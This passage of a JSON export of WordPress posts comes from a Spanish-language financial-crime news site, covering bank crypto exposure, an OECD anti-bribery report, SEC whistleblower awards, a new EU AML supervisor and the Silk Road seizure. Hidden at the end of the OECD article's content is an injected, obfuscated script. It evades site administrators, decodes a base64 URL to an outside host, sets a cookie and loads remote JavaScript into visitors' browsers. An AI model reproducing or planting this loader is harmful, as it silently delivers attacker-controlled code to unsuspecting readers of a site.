intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que 